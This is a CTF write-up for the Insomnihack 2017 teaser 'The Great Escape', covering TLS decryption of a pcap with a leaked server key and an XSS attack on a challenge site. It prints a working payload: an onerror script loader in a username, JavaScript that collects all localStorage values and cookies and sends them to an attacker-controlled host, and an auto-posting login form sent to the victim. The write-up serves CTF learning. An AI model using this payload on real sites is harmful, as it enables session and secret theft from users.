January 22, 2017

INSOMNIHACK 2017 Teaser - The Great Escape

Hey Rogue, here’re some good links for your learning.


The Great Escape - Forensics - 50/200/200 pts - created by clZ


We’ve been suspecting Swiss Secure Cloud of secretely doing some pretty advanced research in artifical intelligence and this has recently been confirmed by the fact that one of their AIs seems to have escaped from their premises and has gone rogue. We have no idea whether this poses a threat or not and we need you to investigate what is going on.

Luckily, we have a spy inside SSC and they were able to intercept some communications over the past week when the breach occured. Maybe you can find some information related to the breach and recover the rogue AI.

Note: All the information you need to solve the 3 parts of this challenge is in the pcap. Once you find the exploit for a given part, you should be able to find the corresponding flag and move on to the next part.


Part I - Forensics - 50 pts

It all begins with the pcap file. After loading it with the favourite Wireshark, couple of interesting packets caught my eyes:

  1. An FTP session that stores a private key file called ssc.key.
  2. An SMTP session that sends following email.

From: rogue@ssc.teaser.insomnihack.ch
To: gr27@ssc.teaser.insomnihack.ch
Date: Fri, 20 Jan 2017 11:51:27 +0000
Subject: The Great Escape

I’m currently planning my escape from this confined environment. I plan on using our Swiss Secure Cloud (https://ssc.teaser.insomnihack.ch) to transfer my code offsite and then take over the server at tge.teaser.insomnihack.ch to install my consciousness and have a real base of operations.

I’ll be checking this mail box every now and then if you have any information for me. I’m always interested in learning, so if you have any good links, please send them over.

The email suggests the pcap file should contain packets between Rogue and the Swiss Secure Cloud (SSC) website. There are several TCP sessions related to SSC IP address. However, these are SSL packets that are not readable unless I have server’s private key. But wait a minute, isn’t it ssc.key in the FTP session?

Add ssc.key to Wireshark’s SSL protocol RSA key list as shown below, and reload the pcap file.

Wireshark SSL RSA key list

All packets between Rogue and SSC are now in plain text. It is easy to find the flag, hidden in the HTTP headers.

Part I Flag

Part II - Web - 200 pts

Now that the SSL packets are decrypted, we can find the file Rogue uploaded to SSC in packet #2437, as shown below. However, SSC is so secure that it has another level of encryption in addition to SSL.

Rogue uploaded file

After playing around with SSC website (https://ssc.teaser.insomnihack.ch), it is clear that upon uploading a file:

  1. File is encrypted using AES-CBC with a random key and iv.
  2. The AES key is encrypted by RSA public key and named session key.
  3. Encrypted file is then POSTed to server, together with session key and iv.
  4. RSA private key is stored in local storage.

Details can be found in packet #1998, the sscApp.js file.

There’s no obvious flaw in the encryption implementation. This means to decrypt the file Rogue uploaded, we have to get the private key stored in Rogue’s browser. Now take a second look at Rogue’s email, the following sentense is pretty promising.

I’ll be checking this mail box every now and then if you have any information for me. I’m always interested in learning, so if you have any good links, please send them over.

Sounds like Rogue will click on any link sent to his email address! If we’re going to read his browser’s local storage, SSC must have some sort of XSS vulnerability.

I sent Rogue a test email with a link to RequestBin, and confirm that he will click on it.

So we set off looking for XSS vulnerability in SSC website, creating all kinds of crazy user names with html tags. But SSC seems to handle character escaping pretty well. Finally, we found that request to following URL returns JSON object, but with text/html content type (See packet #2110).


To verify this, I created a username <a ref='google.com'>google</a> and it worked!

Incorrect Content Type

The plan is then straightforward:

  1. Register username like <script src='some-link-with-js-code'></script>. The custom javascript code will read from local storage and send value via e.g. query string.
  2. Create a web page and send to Rouge. The web page will automatically post a login form to SSC with username mentioned above.
  3. Send another link to Rogue with link https://ssc.teaser.insomnihack.ch/api/user.php?action=getUser.

At first we were worried about race condition between 2 and 3 but it turns out that upon successful login, SSC will redirect to the link we want. So step 3 is not necessary.

Step 1 is harder than we expected because JSON string escapes / so http://... becomes http:\/\/... which is not accepted by browser. In addition, the closing tag </script> is also broken. But we finally managed to find work arounds for all such issues and stole information from Rogue. The flag is, as expected, stored in one of the local storage keys.

Here’s the final user name we used:

<img src='a' onerror='var p=document.createElement(`script`);p.setAttribute(`src`,
atob(`{base64 encoded url to javascript code}`));document.body.appendChild(p);' />

Javascript code that steals local storage and cookies:

var i = 0;
var result = "";
for (i = 0; i < localStorage.length; i++) {
  var key = localStorage[localStorage.key(i)];
  result = result + ":::" + key;

result = result + ":::" + document.cookie;

window.location = "http://{site we control}/aa?nkey=" + btoa(result);

And finally the web page sent to Rogue:

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>

<form id="login" method="POST" action="https://ssc.teaser.insomnihack.ch/api/user.php">
  <input name="name" value="<img src='a' onerror='var p=document.createElement(`script`);p.setAttribute(`src`,atob(`{base64 encoded url to javascript code}`));document.body.appendChild(p);' />" type="text" />
  <input name="password" value="asdf" type="text"/>
  <input name="action" value="login" type="text"/>

<script language="javascript">
setTimeout(function() {
    }, 1000);


After a while our server got request from Rogue.


Decode it and the flag is right there.


© jiulongw 2016